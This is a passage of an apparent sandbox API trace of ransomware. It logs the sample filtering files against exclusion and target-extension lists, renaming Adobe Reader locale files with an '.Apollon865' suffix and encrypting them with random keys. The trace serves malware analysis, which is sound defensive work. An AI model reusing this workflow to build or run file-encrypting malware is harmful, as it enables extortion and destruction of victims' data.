	[0058.742] lstrlenW (lpString="ade") returned 3
	[0058.742] lstrcmpiW (lpString1="CAT", lpString2="ade") returned 1
	[0058.742] lstrlenW (lpString="adf") returned 3
	[0058.742] lstrcmpiW (lpString1="CAT", lpString2="adf") returned 1
	[0058.742] lstrlenW (lpString="adn") returned 3
	[0058.742] lstrcmpiW (lpString1="CAT", lpString2="adn") returned 1
	[0058.742] lstrlenW (lpString="adp") returned 3
	[0058.742] lstrcmpiW (lpString1="CAT", lpString2="adp") returned 1
	[0058.742] lstrlenW (lpString="alf") returned 3
	[0058.743] lstrcmpiW (lpString1="CAT", lpString2="alf") returned 1
	[0058.743] lstrlenW (lpString="ask") returned 3
	[0058.743] lstrcmpiW (lpString1="CAT", lpString2="ask") returned 1
	[0058.743] lstrlenW (lpString="btr") returned 3
	[0058.743] lstrcmpiW (lpString1="CAT", lpString2="btr") returned 1
	[0058.743] lstrlenW (lpString="cat") returned 3
	[0058.743] lstrcmpiW (lpString1="CAT", lpString2="cat") returned 0
	[0058.743] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Annots.CAT.Apollon865") returned 82
	[0058.743] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Annots.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\annots.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Annots.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\annots.cat.apollon865"), dwFlags=0x1) returned 1
	[0058.745] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Annots.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\annots.cat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0058.745] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=513024) returned 1
	[0058.745] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0058.745] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0058.745] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0058.745] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0058.746] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0058.746] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0058.746] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7d700, lpName=0x0) returned 0x154
	[0058.748] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7d700) returned 0x210000
	[0058.782] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0058.783] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0058.783] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0058.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0058.783] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0058.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0058.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0058.783] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0058.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0058.783] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0058.784] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0058.784] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0058.784] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0058.784] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0058.788] CloseHandle (hObject=0x154) returned 1
	[0058.789] CloseHandle (hObject=0x14c) returned 1
	[0058.789] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0058.789] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0058.789] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0058.791] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BRdlang32.CAT", cAlternateFileName="BRDLAN~1.CAT")) returned 1
	[0058.791] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.791] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="Apollon865.txt.exe") returned 1
	[0058.791] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2=".") returned 1
	[0058.791] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="..") returned 1
	[0058.791] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="windows") returned -1
	[0058.791] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="bootmgr") returned 1
	[0058.791] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="temp") returned -1
	[0058.791] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="pagefile.sys") returned -1
	[0058.791] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="boot") returned 1
	[0058.791] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="ids.txt") returned -1
	[0058.791] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="ntuser.dat") returned -1
	[0058.791] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="perflogs") returned -1
	[0058.791] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2="MSBuild") returned -1
	[0058.791] lstrlenW (lpString="BRdlang32.CAT") returned 13
	[0058.792] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Annots.CAT") returned 71
	[0058.792] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="BRdlang32.CAT" | out: lpString1="BRdlang32.CAT") returned="BRdlang32.CAT"
	[0058.792] lstrlenW (lpString="BRdlang32.CAT") returned 13
	[0058.792] lstrlenW (lpString="Apollon865") returned 10
	[0058.792] lstrcmpiW (lpString1="lang32.CAT", lpString2="Apollon865") returned 1
	[0058.792] lstrlenW (lpString=".dll") returned 4
	[0058.792] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2=".dll") returned 1
	[0058.792] lstrlenW (lpString=".lnk") returned 4
	[0058.792] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2=".lnk") returned 1
	[0058.792] lstrlenW (lpString=".ini") returned 4
	[0058.792] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2=".ini") returned 1
	[0058.792] lstrlenW (lpString=".sys") returned 4
	[0058.792] lstrcmpiW (lpString1="BRdlang32.CAT", lpString2=".sys") returned 1
	[0058.792] lstrlenW (lpString="BRdlang32.CAT") returned 13
	[0058.792] lstrlenW (lpString="bak") returned 3
	[0058.792] lstrcmpiW (lpString1="CAT", lpString2="bak") returned 1
	[0058.792] lstrlenW (lpString="ba_") returned 3
	[0058.792] lstrcmpiW (lpString1="CAT", lpString2="ba_") returned 1
	[0058.792] lstrlenW (lpString="dbb") returned 3
	[0058.792] lstrcmpiW (lpString1="CAT", lpString2="dbb") returned -1
	[0058.792] lstrlenW (lpString="vmdk") returned 4
	[0058.792] lstrcmpiW (lpString1=".CAT", lpString2="vmdk") returned -1
	[0058.792] lstrlenW (lpString="rar") returned 3
	[0058.792] lstrcmpiW (lpString1="CAT", lpString2="rar") returned -1
	[0058.792] lstrlenW (lpString="zip") returned 3
	[0058.792] lstrcmpiW (lpString1="CAT", lpString2="zip") returned -1
	[0058.792] lstrlenW (lpString="tgz") returned 3
	[0058.792] lstrcmpiW (lpString1="CAT", lpString2="tgz") returned -1
	[0058.792] lstrlenW (lpString="vbox") returned 4
	[0058.792] lstrcmpiW (lpString1=".CAT", lpString2="vbox") returned -1
	[0058.792] lstrlenW (lpString="vdi") returned 3
	[0058.792] lstrcmpiW (lpString1="CAT", lpString2="vdi") returned -1
	[0058.792] lstrlenW (lpString="vhd") returned 3
	[0058.792] lstrcmpiW (lpString1="CAT", lpString2="vhd") returned -1
	[0058.793] lstrlenW (lpString="vhdx") returned 4
	[0058.793] lstrcmpiW (lpString1=".CAT", lpString2="vhdx") returned -1
	[0058.793] lstrlenW (lpString="avhd") returned 4
	[0058.793] lstrcmpiW (lpString1=".CAT", lpString2="avhd") returned -1
	[0058.793] lstrlenW (lpString="db") returned 2
	[0058.793] lstrcmpiW (lpString1="AT", lpString2="db") returned -1
	[0058.793] lstrlenW (lpString="db2") returned 3
	[0058.793] lstrcmpiW (lpString1="CAT", lpString2="db2") returned -1
	[0058.793] lstrlenW (lpString="db3") returned 3
	[0058.793] lstrcmpiW (lpString1="CAT", lpString2="db3") returned -1
	[0058.793] lstrlenW (lpString="dbf") returned 3
	[0058.793] lstrcmpiW (lpString1="CAT", lpString2="dbf") returned -1
	[0058.793] lstrlenW (lpString="mdf") returned 3
	[0058.793] lstrcmpiW (lpString1="CAT", lpString2="mdf") returned -1
	[0058.793] lstrlenW (lpString="mdb") returned 3
	[0058.793] lstrcmpiW (lpString1="CAT", lpString2="mdb") returned -1
	[0058.793] lstrlenW (lpString="sql") returned 3
	[0058.793] lstrcmpiW (lpString1="CAT", lpString2="sql") returned -1
	[0058.793] lstrlenW (lpString="sqlite") returned 6
	[0058.793] lstrcmpiW (lpString1="32.CAT", lpString2="sqlite") returned -1
	[0058.793] lstrlenW (lpString="sqlite3") returned 7
	[0058.793] lstrcmpiW (lpString1="g32.CAT", lpString2="sqlite3") returned -1
	[0058.793] lstrlenW (lpString="sqlitedb") returned 8
	[0058.793] lstrcmpiW (lpString1="ng32.CAT", lpString2="sqlitedb") returned -1
	[0058.793] lstrlenW (lpString="xml") returned 3
	[0058.793] lstrcmpiW (lpString1="CAT", lpString2="xml") returned -1
	[0058.793] lstrlenW (lpString="$er") returned 3
	[0058.793] lstrcmpiW (lpString1="CAT", lpString2="$er") returned 1
	[0058.793] lstrlenW (lpString="4dd") returned 3
	[0058.793] lstrcmpiW (lpString1="CAT", lpString2="4dd") returned 1
	[0058.793] lstrlenW (lpString="4dl") returned 3
	[0058.793] lstrcmpiW (lpString1="CAT", lpString2="4dl") returned 1
	[0058.793] lstrlenW (lpString="^^^") returned 3
	[0058.793] lstrcmpiW (lpString1="CAT", lpString2="^^^") returned 1
	[0058.793] lstrlenW (lpString="abs") returned 3
	[0058.794] lstrcmpiW (lpString1="CAT", lpString2="abs") returned 1
	[0058.794] lstrlenW (lpString="abx") returned 3
	[0058.794] lstrcmpiW (lpString1="CAT", lpString2="abx") returned 1
	[0058.794] lstrlenW (lpString="accdb") returned 5
	[0058.794] lstrcmpiW (lpString1="2.CAT", lpString2="accdb") returned -1
	[0058.794] lstrlenW (lpString="accdc") returned 5
	[0058.794] lstrcmpiW (lpString1="2.CAT", lpString2="accdc") returned -1
	[0058.794] lstrlenW (lpString="accde") returned 5
	[0058.794] lstrcmpiW (lpString1="2.CAT", lpString2="accde") returned -1
	[0058.794] lstrlenW (lpString="accdr") returned 5
	[0058.794] lstrcmpiW (lpString1="2.CAT", lpString2="accdr") returned -1
	[0058.794] lstrlenW (lpString="accdt") returned 5
	[0058.794] lstrcmpiW (lpString1="2.CAT", lpString2="accdt") returned -1
	[0058.794] lstrlenW (lpString="accdw") returned 5
	[0058.794] lstrcmpiW (lpString1="2.CAT", lpString2="accdw") returned -1
	[0058.794] lstrlenW (lpString="accft") returned 5
	[0058.794] lstrcmpiW (lpString1="2.CAT", lpString2="accft") returned -1
	[0058.794] lstrlenW (lpString="adb") returned 3
	[0058.794] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0058.794] lstrlenW (lpString="adb") returned 3
	[0058.794] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0058.794] lstrlenW (lpString="ade") returned 3
	[0058.794] lstrcmpiW (lpString1="CAT", lpString2="ade") returned 1
	[0058.794] lstrlenW (lpString="adf") returned 3
	[0058.794] lstrcmpiW (lpString1="CAT", lpString2="adf") returned 1
	[0058.794] lstrlenW (lpString="adn") returned 3
	[0058.794] lstrcmpiW (lpString1="CAT", lpString2="adn") returned 1
	[0058.794] lstrlenW (lpString="adp") returned 3
	[0058.794] lstrcmpiW (lpString1="CAT", lpString2="adp") returned 1
	[0058.794] lstrlenW (lpString="alf") returned 3
	[0058.794] lstrcmpiW (lpString1="CAT", lpString2="alf") returned 1
	[0058.794] lstrlenW (lpString="ask") returned 3
	[0058.794] lstrcmpiW (lpString1="CAT", lpString2="ask") returned 1
	[0058.794] lstrlenW (lpString="btr") returned 3
	[0058.795] lstrcmpiW (lpString1="CAT", lpString2="btr") returned 1
	[0058.795] lstrlenW (lpString="cat") returned 3
	[0058.795] lstrcmpiW (lpString1="CAT", lpString2="cat") returned 0
	[0058.795] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\BRdlang32.CAT.Apollon865") returned 85
	[0058.795] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\BRdlang32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\brdlang32.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\BRdlang32.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\brdlang32.cat.apollon865"), dwFlags=0x1) returned 1
	[0058.796] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\BRdlang32.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\brdlang32.cat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0058.796] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=14336) returned 1
	[0058.796] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0058.797] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0058.797] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0058.797] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0058.798] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0058.798] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0058.798] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b00, lpName=0x0) returned 0x154
	[0058.799] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b00) returned 0x100000
	[0058.800] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0058.801] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0058.801] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0058.801] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0058.801] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0058.801] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0058.801] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0058.801] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0058.801] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0058.801] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0058.802] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0058.802] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0058.802] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0058.802] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0058.802] CloseHandle (hObject=0x154) returned 1
	[0058.802] CloseHandle (hObject=0x14c) returned 1
	[0058.802] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0058.802] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0058.802] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0058.802] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Checkers.CAT", cAlternateFileName="")) returned 1
	[0058.802] lstrcmpiW (lpString1="Checkers.CAT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.802] lstrcmpiW (lpString1="Checkers.CAT", lpString2="Apollon865.txt.exe") returned 1
	[0058.802] lstrcmpiW (lpString1="Checkers.CAT", lpString2=".") returned 1
	[0058.802] lstrcmpiW (lpString1="Checkers.CAT", lpString2="..") returned 1
	[0058.802] lstrcmpiW (lpString1="Checkers.CAT", lpString2="windows") returned -1
	[0058.802] lstrcmpiW (lpString1="Checkers.CAT", lpString2="bootmgr") returned 1
	[0058.802] lstrcmpiW (lpString1="Checkers.CAT", lpString2="temp") returned -1
	[0058.802] lstrcmpiW (lpString1="Checkers.CAT", lpString2="pagefile.sys") returned -1
	[0058.803] lstrcmpiW (lpString1="Checkers.CAT", lpString2="boot") returned 1
	[0058.803] lstrcmpiW (lpString1="Checkers.CAT", lpString2="ids.txt") returned -1
	[0058.803] lstrcmpiW (lpString1="Checkers.CAT", lpString2="ntuser.dat") returned -1
	[0058.803] lstrcmpiW (lpString1="Checkers.CAT", lpString2="perflogs") returned -1
	[0058.803] lstrcmpiW (lpString1="Checkers.CAT", lpString2="MSBuild") returned -1
	[0058.803] lstrlenW (lpString="Checkers.CAT") returned 12
	[0058.803] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\BRdlang32.CAT") returned 74
	[0058.803] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Checkers.CAT" | out: lpString1="Checkers.CAT") returned="Checkers.CAT"
	[0058.803] lstrlenW (lpString="Checkers.CAT") returned 12
	[0058.803] lstrlenW (lpString="Apollon865") returned 10
	[0058.803] lstrcmpiW (lpString1="eckers.CAT", lpString2="Apollon865") returned 1
	[0058.803] lstrlenW (lpString=".dll") returned 4
	[0058.803] lstrcmpiW (lpString1="Checkers.CAT", lpString2=".dll") returned 1
	[0058.803] lstrlenW (lpString=".lnk") returned 4
	[0058.803] lstrcmpiW (lpString1="Checkers.CAT", lpString2=".lnk") returned 1
	[0058.803] lstrlenW (lpString=".ini") returned 4
	[0058.803] lstrcmpiW (lpString1="Checkers.CAT", lpString2=".ini") returned 1
	[0058.803] lstrlenW (lpString=".sys") returned 4
	[0058.803] lstrcmpiW (lpString1="Checkers.CAT", lpString2=".sys") returned 1
	[0058.803] lstrlenW (lpString="Checkers.CAT") returned 12
	[0058.803] lstrlenW (lpString="bak") returned 3
	[0058.803] lstrcmpiW (lpString1="CAT", lpString2="bak") returned 1
	[0058.803] lstrlenW (lpString="ba_") returned 3
	[0058.803] lstrcmpiW (lpString1="CAT", lpString2="ba_") returned 1
	[0058.803] lstrlenW (lpString="dbb") returned 3
	[0058.803] lstrcmpiW (lpString1="CAT", lpString2="dbb") returned -1
	[0058.803] lstrlenW (lpString="vmdk") returned 4
	[0058.803] lstrcmpiW (lpString1=".CAT", lpString2="vmdk") returned -1
	[0058.803] lstrlenW (lpString="rar") returned 3
	[0058.803] lstrcmpiW (lpString1="CAT", lpString2="rar") returned -1
	[0058.803] lstrlenW (lpString="zip") returned 3
	[0058.803] lstrcmpiW (lpString1="CAT", lpString2="zip") returned -1
	[0058.803] lstrlenW (lpString="tgz") returned 3
	[0058.803] lstrcmpiW (lpString1="CAT", lpString2="tgz") returned -1
	[0058.804] lstrlenW (lpString="vbox") returned 4
	[0058.804] lstrcmpiW (lpString1=".CAT", lpString2="vbox") returned -1
	[0058.804] lstrlenW (lpString="vdi") returned 3
	[0058.804] lstrcmpiW (lpString1="CAT", lpString2="vdi") returned -1
	[0058.804] lstrlenW (lpString="vhd") returned 3
	[0058.804] lstrcmpiW (lpString1="CAT", lpString2="vhd") returned -1
	[0058.804] lstrlenW (lpString="vhdx") returned 4
	[0058.804] lstrcmpiW (lpString1=".CAT", lpString2="vhdx") returned -1
	[0058.804] lstrlenW (lpString="avhd") returned 4
	[0058.804] lstrcmpiW (lpString1=".CAT", lpString2="avhd") returned -1
	[0058.804] lstrlenW (lpString="db") returned 2
	[0058.804] lstrcmpiW (lpString1="AT", lpString2="db") returned -1
	[0058.804] lstrlenW (lpString="db2") returned 3
	[0058.804] lstrcmpiW (lpString1="CAT", lpString2="db2") returned -1
	[0058.804] lstrlenW (lpString="db3") returned 3
	[0058.804] lstrcmpiW (lpString1="CAT", lpString2="db3") returned -1
	[0058.804] lstrlenW (lpString="dbf") returned 3
	[0058.804] lstrcmpiW (lpString1="CAT", lpString2="dbf") returned -1
	[0058.804] lstrlenW (lpString="mdf") returned 3
	[0058.804] lstrcmpiW (lpString1="CAT", lpString2="mdf") returned -1
	[0058.804] lstrlenW (lpString="mdb") returned 3
	[0058.804] lstrcmpiW (lpString1="CAT", lpString2="mdb") returned -1
	[0058.804] lstrlenW (lpString="sql") returned 3
	[0058.804] lstrcmpiW (lpString1="CAT", lpString2="sql") returned -1
	[0058.804] lstrlenW (lpString="sqlite") returned 6
	[0058.804] lstrcmpiW (lpString1="rs.CAT", lpString2="sqlite") returned -1
	[0058.804] lstrlenW (lpString="sqlite3") returned 7
	[0058.804] lstrcmpiW (lpString1="ers.CAT", lpString2="sqlite3") returned -1
	[0058.804] lstrlenW (lpString="sqlitedb") returned 8
	[0058.804] lstrcmpiW (lpString1="kers.CAT", lpString2="sqlitedb") returned -1
	[0058.804] lstrlenW (lpString="xml") returned 3
	[0058.804] lstrcmpiW (lpString1="CAT", lpString2="xml") returned -1
	[0058.804] lstrlenW (lpString="$er") returned 3
	[0058.804] lstrcmpiW (lpString1="CAT", lpString2="$er") returned 1
	[0058.804] lstrlenW (lpString="4dd") returned 3
	[0058.805] lstrcmpiW (lpString1="CAT", lpString2="4dd") returned 1
	[0058.805] lstrlenW (lpString="4dl") returned 3
	[0058.805] lstrcmpiW (lpString1="CAT", lpString2="4dl") returned 1
	[0058.805] lstrlenW (lpString="^^^") returned 3
	[0058.805] lstrcmpiW (lpString1="CAT", lpString2="^^^") returned 1
	[0058.805] lstrlenW (lpString="abs") returned 3
	[0058.805] lstrcmpiW (lpString1="CAT", lpString2="abs") returned 1
	[0058.805] lstrlenW (lpString="abx") returned 3
	[0058.805] lstrcmpiW (lpString1="CAT", lpString2="abx") returned 1
	[0058.805] lstrlenW (lpString="accdb") returned 5
	[0058.805] lstrcmpiW (lpString1="s.CAT", lpString2="accdb") returned 1
	[0058.805] lstrlenW (lpString="accdc") returned 5
	[0058.805] lstrcmpiW (lpString1="s.CAT", lpString2="accdc") returned 1
	[0058.805] lstrlenW (lpString="accde") returned 5
	[0058.805] lstrcmpiW (lpString1="s.CAT", lpString2="accde") returned 1
	[0058.805] lstrlenW (lpString="accdr") returned 5
	[0058.805] lstrcmpiW (lpString1="s.CAT", lpString2="accdr") returned 1
	[0058.805] lstrlenW (lpString="accdt") returned 5
	[0058.805] lstrcmpiW (lpString1="s.CAT", lpString2="accdt") returned 1
	[0058.805] lstrlenW (lpString="accdw") returned 5
	[0058.805] lstrcmpiW (lpString1="s.CAT", lpString2="accdw") returned 1
	[0058.805] lstrlenW (lpString="accft") returned 5
	[0058.805] lstrcmpiW (lpString1="s.CAT", lpString2="accft") returned 1
	[0058.805] lstrlenW (lpString="adb") returned 3
	[0058.805] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0058.805] lstrlenW (lpString="adb") returned 3
	[0058.805] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0058.805] lstrlenW (lpString="ade") returned 3
	[0058.805] lstrcmpiW (lpString1="CAT", lpString2="ade") returned 1
	[0058.805] lstrlenW (lpString="adf") returned 3
	[0058.805] lstrcmpiW (lpString1="CAT", lpString2="adf") returned 1
	[0058.805] lstrlenW (lpString="adn") returned 3
	[0058.805] lstrcmpiW (lpString1="CAT", lpString2="adn") returned 1
	[0058.805] lstrlenW (lpString="adp") returned 3
	[0058.805] lstrcmpiW (lpString1="CAT", lpString2="adp") returned 1
	[0058.806] lstrlenW (lpString="alf") returned 3
	[0058.806] lstrcmpiW (lpString1="CAT", lpString2="alf") returned 1
	[0058.806] lstrlenW (lpString="ask") returned 3
	[0058.806] lstrcmpiW (lpString1="CAT", lpString2="ask") returned 1
	[0058.806] lstrlenW (lpString="btr") returned 3
	[0058.806] lstrcmpiW (lpString1="CAT", lpString2="btr") returned 1
	[0058.806] lstrlenW (lpString="cat") returned 3
	[0058.806] lstrcmpiW (lpString1="CAT", lpString2="cat") returned 0
	[0058.806] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Checkers.CAT.Apollon865") returned 84
	[0058.806] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Checkers.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\checkers.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Checkers.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\checkers.cat.apollon865"), dwFlags=0x1) returned 1
